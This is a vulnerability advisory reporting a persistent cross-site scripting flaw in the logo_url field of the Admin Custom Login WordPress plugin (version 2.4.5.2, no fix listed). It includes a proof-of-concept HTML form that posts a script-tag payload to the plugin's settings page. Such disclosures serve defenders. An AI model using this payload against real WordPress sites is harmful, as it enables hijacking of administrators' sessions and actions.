Abstract
A persistent Cross-Site Scripting vulnerability has been encountered in the Admin Custom Login WordPress plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. The logo_url field does not validate <script> tags and does not perform output encoding.
OVE ID
OVE-20160712-0002
Tested versions
This issue was succesfully tested on the Admin Custom Login WordPress plugin version 2.4.5.2.
Fix
There is currently no fix available.
Introduction
Admin custom login plugin give ability to customize your WordPress admin login page according to you.
Pugin allows to change background color, background image, background slide show, login form color, login form font size, login form position, add social media icon on form and many more features.
Details
As an admin, it's possible to upload a logo on the login page. The logo_url field does not validate <script> tags and does not perform output encoding.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST">
<input type="hidden" name="Action" value="logoSave"/>
<input type="hidden" name="logo_image" value="http://<target>/wp-content/uploads/2016/06/scriptalert1script.jpeg"/>
<input type="hidden" name="logo_width" value="200"/>
<input type="hidden" name="logo_height" value="60"/>
<input type="hidden" name="logo_url" value=""><script>alert(1)</script>"/>
<input type="hidden" name="logo_url_title" value="\\\\"/>
<input type="submit"/>
</form>
</body>
</html>
After this request is executed, re-open the admin panel of WordPress and visit the Admin Custom Login page.